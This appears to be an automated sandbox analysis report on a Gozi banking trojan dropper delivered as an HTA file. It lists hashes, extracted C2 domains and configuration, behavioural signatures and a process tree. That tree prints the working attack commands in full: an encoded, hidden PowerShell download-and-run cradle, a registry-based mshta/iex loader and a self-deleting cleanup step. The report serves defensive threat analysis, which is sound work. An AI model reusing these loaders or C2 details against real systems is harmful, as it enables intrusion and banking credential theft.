Overview

overview

10

Static

static

1

client_5.hta

windows7-x64

10

client_5.hta

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-10-2023 11:56

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    client_5.hta

  • Size

    22KB

  • MD5

    988f8a03ac893e41d4f9aaca5addafe1

  • SHA1

    d3bda7e7be11da19cd3adf16a4c58548eb573f74

  • SHA256

    0389108b0322ecbbadd21a245c1b75f93e38a2e51a8b38a385596ebe05c323cf

  • SHA512

    2dd80008e91d35da4d60572be008ab60ae7edd5ebe5b94518c3bfb3aa573c812e2abeb3c7d4033ca9cf5b99e64db5537c79b3e6aae8bd89e894de7fcc2a5b1c1

  • SSDEEP

    384:pA7lUDQMeK43MV0p6WUuJOJjmF9Koq5nZN851z9fwP3jXMeSnqIc6l:H2MWqwRwPDd6l

Score
10/10
gozi5050bankerisfbtrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://communicalink.com/index.php

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

mifrutty.com

Attributes
  • base_path

    /jerry/

  • build

    250260

  • exe_type

    loader

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi

Botnet

5050

C2

mifrutty.com

systemcheck.top
Attributes
  • base_path

    /pictures/

  • build

    250260

  • exe_type

    worker

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

    bankertrojangozi
  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetThreadContext 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Modifies registry class 64 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 55 IoCs

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:3808
  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\client_5.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4900
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG0AbQB1AG4AaQBjAGEAbABpAG4AawAuAGMAbwBtAC8AaQBuAGQAZQB4AC4AcABoAHAAIgApAA==
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4664
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG0AbQB1AG4AaQBjAGEAbABpAG4AawAuAGMAbwBtAC8AaQBuAGQAZQB4AC4AcABoAHAAIgApAA==
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3188
        • C:\Users\Admin\AppData\Local\Temp\gPEkKBRh.exe
          "C:\Users\Admin\AppData\Local\Temp\gPEkKBRh.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:1108
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1108 -s 472
            5⤵
            • Program crash
            PID:3560
  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
      PID:4176
    • C:\Windows\System32\RuntimeBroker.exe
      C:\Windows\System32\RuntimeBroker.exe -Embedding
      1⤵
        PID:4024
      • C:\Windows\Explorer.EXE
        C:\Windows\Explorer.EXE
        1⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of UnmapMainImage
        • Suspicious use of WriteProcessMemory
        PID:3260
        • C:\Windows\System32\mshta.exe
          "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Ckfc='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ckfc).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\304F83E1-CF18-E2AF-D964-73361DD857CA\\\OperatorAbout'));if(!window.flag)close()</script>"
          2⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:4212
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ywglbk -value gp; new-alias -name iubrmsy -value iex; iubrmsy ([System.Text.Encoding]::ASCII.GetString((ywglbk "HKCU:Software\AppDataLow\Software\Microsoft\304F83E1-CF18-E2AF-D964-73361DD857CA").ClassDocument))
            3⤵
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4884
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\przoxl3e\przoxl3e.cmdline"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:256
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE493.tmp" "c:\Users\Admin\AppData\Local\Temp\przoxl3e\CSC1EAF65091F824C08BAAAECFFCC3EEBDD.TMP"
                5⤵
                  PID:2988
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ghxwzpmd\ghxwzpmd.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:4500
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE54F.tmp" "c:\Users\Admin\AppData\Local\Temp\ghxwzpmd\CSC6C97E6AD8E634ECBBBCE9A70897FD037.TMP"
                  5⤵
                    PID:1596
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\gPEkKBRh.exe"
              2⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of WriteProcessMemory
              PID:2752
              • C:\Windows\system32\PING.EXE
                ping localhost -n 5
                3⤵
                • Runs ping.exe
                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                PID:3976
            • C:\Windows\syswow64\cmd.exe
              "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
              2⤵
                PID:3632
            • C:\Windows\System32\RuntimeBroker.exe
              C:\Windows\System32\RuntimeBroker.exe -Embedding
              1⤵
              • Modifies registry class
              PID:3984
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1108 -ip 1108
              1⤵
                PID:4472

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                16KB

                MD5

                4c4f6db32b8e31d450451fe2bcfa95b5

                SHA1

                2bded19fcc33903e64842ac06fef4b119770673b

                SHA256

                1f040c042d94ca716f36d2c4835e7c2390717bfd7d9cf0a174d9a14b3a83eb29

                SHA512

                d11f7f8b4a1d71d7797c5618e377aa29033d079ee7698abbcbab6535e3b2097f48b955cc5146df87b77de57bfcecaa86d1ad522911bb66c550c203bd346e9a7d

                Download Submit
              • C:\Users\Admin\AppData\Local\Temp\RESE493.tmp
                Filesize

                1KB

                MD5

                bd79d56f9839d92acc88d22e79b6aba5

                SHA1

                83b032c9fd1c5ef66a673d7932abadd1b93d4bf2

                SHA256

                3a151f8e2b94d8eedde65bb0adad988e11bc2d1aed3a6d288608c326790eadf7

                SHA512

                1ffdc8913a99e4430c2d0bdc50ffdf7aae7894bfb396404f40e1ccb4751158eaf0f5d8e85443eea7e56df706741875df1d5f379114986fc0cafa7d5836d78624

                Download Submit
              • C:\Users\Admin\AppData\Local\Temp\RESE54F.tmp
                Filesize

                1KB

                MD5

                08d1d059481e11d008472feb7fd717a4

                SHA1

                8ab880df07f86efb9f413fc47ebc652a4094af16

                SHA256

                6841ecec1f87785af1e4e637eeb8c5a9efea1f496e98cb7ac3245f443634216a

                SHA512

                a041bd0847edb6a7c1b8030010a2a618927e438dcb0a269e6db4a1c057b961d7236c1e88747f4c82422f973d6c1435378d23535b81dea0113449828d916d4f27

                Download Submit
              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2c4xsjuy.quf.ps1
                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                Download Submit
              • C:\Users\Admin\AppData\Local\Temp\gPEkKBRh.exe
                Filesize

                293KB

                MD5

                01435632dca9afc151eec77862bfbc2b

                SHA1

                9bbb4ae83131fafcd14d580810b14f48d2d30837

                SHA256

                2adca18a6ba459e5325ce934d473c08a411ae5b8049ca4c37ea9b300553b1f40

                SHA512

                61e542b6413381f6c4d0f7e08154d7d6dbe44fe9879788b1b6a3d2b32c51ce93dc0a18ac5efb87a6a91292e95c97dd15eaf50c109f869f1acfee6087c10fd677

                Download Submit
              • C:\Users\Admin\AppData\Local\Temp\gPEkKBRh.exe
                Filesize

                293KB

                MD5

                01435632dca9afc151eec77862bfbc2b

                SHA1

                9bbb4ae83131fafcd14d580810b14f48d2d30837

                SHA256

                2adca18a6ba459e5325ce934d473c08a411ae5b8049ca4c37ea9b300553b1f40

                SHA512

                61e542b6413381f6c4d0f7e08154d7d6dbe44fe9879788b1b6a3d2b32c51ce93dc0a18ac5efb87a6a91292e95c97dd15eaf50c109f869f1acfee6087c10fd677

                Download Submit
              • C:\Users\Admin\AppData\Local\Temp\gPEkKBRh.exe
                Filesize

                293KB

                MD5

                01435632dca9afc151eec77862bfbc2b

                SHA1

                9bbb4ae83131fafcd14d580810b14f48d2d30837

                SHA256

                2adca18a6ba459e5325ce934d473c08a411ae5b8049ca4c37ea9b300553b1f40

                SHA512

                61e542b6413381f6c4d0f7e08154d7d6dbe44fe9879788b1b6a3d2b32c51ce93dc0a18ac5efb87a6a91292e95c97dd15eaf50c109f869f1acfee6087c10fd677

                Download Submit
              • C:\Users\Admin\AppData\Local\Temp\ghxwzpmd\ghxwzpmd.dll
                Filesize

                3KB

                MD5

                cd8e45bddb1326c93e45320a7c04a54c

                SHA1

                584107fb7b320eee681174ff342036ca3b627a77

                SHA256

                61dfa96d1d27aaaead7a040b0ef94e380561d5a72bc3122ccd0fd304bc671329

                SHA512

                588a10dcb39329cdf9cb3292291c71d55480ae16deb20772bd52ed7be621bd1da787f82ee0253e8050a7a796b0945d3ce53bac0427c5743817aa8e391a7981c9

                Download Submit
              • C:\Users\Admin\AppData\Local\Temp\przoxl3e\przoxl3e.dll
                Filesize

                3KB

                MD5

                89f1cce8eb103180104dfb58a4ff6b32

                SHA1

                be563afb718cecdc262b901af0520b4dea2b8700

                SHA256

                065ef15cc93717e66754e997e9cc76b3af378b462bbed9c77b984ba9b0b731db

                SHA512

                79640e309010d3a131e94f92cd1f9e40273e704ebf818a65165bba5bba39f35cb9e200295bc17e30e4abc0ea932c2ae06822b8951ae38bafae19fff2b53650d8

                Download Submit
              • \??\c:\Users\Admin\AppData\Local\Temp\ghxwzpmd\CSC6C97E6AD8E634ECBBBCE9A70897FD037.TMP
                Filesize

                652B

                MD5

                2ecd55c6698148729f626c0e4264d29c

                SHA1

                b0f5e50bf988b646a071355c60d416321a5c88f6

                SHA256

                e237a84a99ed7a570d26be52978c92fd17197655f47377e6eb8dc7efaa806fd3

                SHA512

                bb9bad8ecd3a51397a5cc2bf99d0e5e4854daaf1d9b60fb607a744c2b5e2ab66db21479eebc81070f467e506c8132b120fae25b90ac12bd853632a627cb8c53e

                Download Submit
              • \??\c:\Users\Admin\AppData\Local\Temp\ghxwzpmd\ghxwzpmd.0.cs
                Filesize

                406B

                MD5

                ca8887eacd573690830f71efaf282712

                SHA1

                0acd4f49fc8cf6372950792402ec3aeb68569ef8

                SHA256

                568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3

                SHA512

                2a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7

                Download Submit
              • \??\c:\Users\Admin\AppData\Local\Temp\ghxwzpmd\ghxwzpmd.cmdline
                Filesize

                369B

                MD5

                9c91d7699ecb7884ae8ef530389b2162

                SHA1

                28fc1287c3f627430ecb5ba0937b3174d8f128a6

                SHA256

                67f9601d41cd3f6fe1c0ac0be815ec0a161137a4f5681ae867d39d64781ab3de

                SHA512

                1130795fda0fd023868d6a6fad3876e6a9d10dab1fca9507c71eb91fa5fa4025c9f5acb47f5aa6e94096a8d43ee0d5327ef1b50a036f3597f67b07ceb73cf52f

                Download Submit
              • \??\c:\Users\Admin\AppData\Local\Temp\przoxl3e\CSC1EAF65091F824C08BAAAECFFCC3EEBDD.TMP
                Filesize

                652B

                MD5

                0627a0dddeeba63e2752e8cb8b5ed47f

                SHA1

                7aaed182feeb807b036cc6226a53b1abc55ee21a

                SHA256

                c44c00adcd9fd893dfaebf90fc0ce061a96715e997348943dc794aacba983ffa

                SHA512

                fa8693e6f3e33002562329c1f4736cc14437daaf2bb27ebe172b0bda4a4f2477d6d3adcfefe5ab3983d927a59d15dae4443acb890a9d8323f9c27149c58d1d96

                Download Submit
              • \??\c:\Users\Admin\AppData\Local\Temp\przoxl3e\przoxl3e.0.cs
                Filesize

                405B

                MD5

                caed0b2e2cebaecd1db50994e0c15272

                SHA1

                5dfac9382598e0ad2e700de4f833de155c9c65fa

                SHA256

                21210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150

                SHA512

                86dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62

                Download Submit
              • \??\c:\Users\Admin\AppData\Local\Temp\przoxl3e\przoxl3e.cmdline
                Filesize

                369B

                MD5

                8b11ab0642ad3827b234283ee9ff56cd

                SHA1

                a0da13bbdfd200d3657c97dcf665503d5157d0ff

                SHA256

                e3d65871ffc577402cd1019547042eda86f09e745ef2129672c439aa3fcd622a

                SHA512

                1080e9c3a9e66f317198953e25b8120939996f2deb85f08f35d446c28954773b9d120fafd3c6d9651eb44f8cea47fc535b9d2582d47362f7e9053c00c4ac17f7

                Download Submit
              • memory/1108-43-0x0000000000400000-0x000000000228F000-memory.dmp
                Filesize

                30.6MB

                Download
              • memory/1108-49-0x0000000000400000-0x000000000228F000-memory.dmp
                Filesize

                30.6MB

                Download
              • memory/1108-48-0x0000000002500000-0x0000000002600000-memory.dmp
                Filesize

                1024KB

                Download
              • memory/1108-45-0x00000000023D0000-0x00000000023DD000-memory.dmp
                Filesize

                52KB

                Download
              • memory/1108-44-0x00000000023A0000-0x00000000023AB000-memory.dmp
                Filesize

                44KB

                Download
              • memory/1108-42-0x0000000002500000-0x0000000002600000-memory.dmp
                Filesize

                1024KB

                Download
              • memory/2752-135-0x0000014BEB350000-0x0000014BEB3F4000-memory.dmp
                Filesize

                656KB

                Download
              • memory/2752-138-0x0000014BEB230000-0x0000014BEB231000-memory.dmp
                Filesize

                4KB

                Download
              • memory/2752-158-0x0000014BEB350000-0x0000014BEB3F4000-memory.dmp
                Filesize

                656KB

                Download
              • memory/3188-26-0x0000000007E60000-0x0000000008404000-memory.dmp
                Filesize

                5.6MB

                Download
              • memory/3188-2-0x00000000026D0000-0x00000000026E0000-memory.dmp
                Filesize

                64KB

                Download
              • memory/3188-27-0x0000000070A70000-0x0000000071220000-memory.dmp
                Filesize

                7.7MB

                Download
              • memory/3188-0-0x0000000070A70000-0x0000000071220000-memory.dmp
                Filesize

                7.7MB

                Download
              • memory/3188-25-0x00000000070B0000-0x00000000070D2000-memory.dmp
                Filesize

                136KB

                Download
              • memory/3188-1-0x0000000002620000-0x0000000002656000-memory.dmp
                Filesize

                216KB

                Download
              • memory/3188-24-0x0000000007120000-0x00000000071B6000-memory.dmp
                Filesize

                600KB

                Download
              • memory/3188-40-0x0000000070A70000-0x0000000071220000-memory.dmp
                Filesize

                7.7MB

                Download
              • memory/3188-3-0x00000000026D0000-0x00000000026E0000-memory.dmp
                Filesize

                64KB

                Download
              • memory/3188-4-0x0000000004E40000-0x0000000005468000-memory.dmp
                Filesize

                6.2MB

                Download
              • memory/3188-22-0x00000000060F0000-0x000000000610A000-memory.dmp
                Filesize

                104KB

                Download
              • memory/3188-21-0x0000000007230000-0x00000000078AA000-memory.dmp
                Filesize

                6.5MB

                Download
              • memory/3188-20-0x00000000026D0000-0x00000000026E0000-memory.dmp
                Filesize

                64KB

                Download
              • memory/3188-19-0x0000000005C30000-0x0000000005C7C000-memory.dmp
                Filesize

                304KB

                Download
              • memory/3188-18-0x0000000005B60000-0x0000000005B7E000-memory.dmp
                Filesize

                120KB

                Download
              • memory/3188-5-0x0000000004D10000-0x0000000004D32000-memory.dmp
                Filesize

                136KB

                Download
              • memory/3188-17-0x00000000056D0000-0x0000000005A24000-memory.dmp
                Filesize

                3.3MB

                Download
              • memory/3188-9-0x0000000005560000-0x00000000055C6000-memory.dmp
                Filesize

                408KB

                Download
              • memory/3188-6-0x00000000054F0000-0x0000000005556000-memory.dmp
                Filesize

                408KB

                Download
              • memory/3260-136-0x0000000009010000-0x00000000090B4000-memory.dmp
                Filesize

                656KB

                Download
              • memory/3260-96-0x0000000009010000-0x00000000090B4000-memory.dmp
                Filesize

                656KB

                Download
              • memory/3260-97-0x00000000013B0000-0x00000000013B1000-memory.dmp
                Filesize

                4KB

                Download
              • memory/3632-146-0x0000000001480000-0x0000000001518000-memory.dmp
                Filesize

                608KB

                Download
              • memory/3632-144-0x0000000000FA0000-0x0000000000FA1000-memory.dmp
                Filesize

                4KB

                Download
              • memory/3632-141-0x0000000001480000-0x0000000001518000-memory.dmp
                Filesize

                608KB

                Download
              • memory/3808-142-0x000001E0F2120000-0x000001E0F21C4000-memory.dmp
                Filesize

                656KB

                Download
              • memory/3808-110-0x000001E0F2120000-0x000001E0F21C4000-memory.dmp
                Filesize

                656KB

                Download
              • memory/3808-111-0x000001E0F14A0000-0x000001E0F14A1000-memory.dmp
                Filesize

                4KB

                Download
              • memory/3976-157-0x00000221E81C0000-0x00000221E8264000-memory.dmp
                Filesize

                656KB

                Download
              • memory/3976-151-0x00000221E7FE0000-0x00000221E7FE1000-memory.dmp
                Filesize

                4KB

                Download
              • memory/3976-148-0x00000221E81C0000-0x00000221E8264000-memory.dmp
                Filesize

                656KB

                Download
              • memory/3984-129-0x0000025F004E0000-0x0000025F004E1000-memory.dmp
                Filesize

                4KB

                Download
              • memory/3984-156-0x0000025F00530000-0x0000025F005D4000-memory.dmp
                Filesize

                656KB

                Download
              • memory/3984-128-0x0000025F00530000-0x0000025F005D4000-memory.dmp
                Filesize

                656KB

                Download
              • memory/4024-116-0x00000162C0BB0000-0x00000162C0BB1000-memory.dmp
                Filesize

                4KB

                Download
              • memory/4024-149-0x00000162C2F10000-0x00000162C2FB4000-memory.dmp
                Filesize

                656KB

                Download
              • memory/4024-115-0x00000162C2F10000-0x00000162C2FB4000-memory.dmp
                Filesize

                656KB

                Download
              • memory/4176-121-0x00000156B1D10000-0x00000156B1DB4000-memory.dmp
                Filesize

                656KB

                Download
              • memory/4176-122-0x00000156B15B0000-0x00000156B15B1000-memory.dmp
                Filesize

                4KB

                Download
              • memory/4176-155-0x00000156B1D10000-0x00000156B1DB4000-memory.dmp
                Filesize

                656KB

                Download
              • memory/4884-63-0x00007FF98C8E0000-0x00007FF98D3A1000-memory.dmp
                Filesize

                10.8MB

                Download
              • memory/4884-108-0x0000021E7C130000-0x0000021E7C16D000-memory.dmp
                Filesize

                244KB

                Download
              • memory/4884-107-0x00007FF98C8E0000-0x00007FF98D3A1000-memory.dmp
                Filesize

                10.8MB

                Download
              • memory/4884-94-0x0000021E7C130000-0x0000021E7C16D000-memory.dmp
                Filesize

                244KB

                Download
              • memory/4884-92-0x0000021E7C120000-0x0000021E7C128000-memory.dmp
                Filesize

                32KB

                Download
              • memory/4884-65-0x0000021E7BF70000-0x0000021E7BF80000-memory.dmp
                Filesize

                64KB

                Download
              • memory/4884-78-0x0000021E63990000-0x0000021E63998000-memory.dmp
                Filesize

                32KB

                Download
              • memory/4884-64-0x0000021E7BF70000-0x0000021E7BF80000-memory.dmp
                Filesize

                64KB

                Download
              • memory/4884-57-0x0000021E7BF80000-0x0000021E7BFA2000-memory.dmp
                Filesize

                136KB

                Download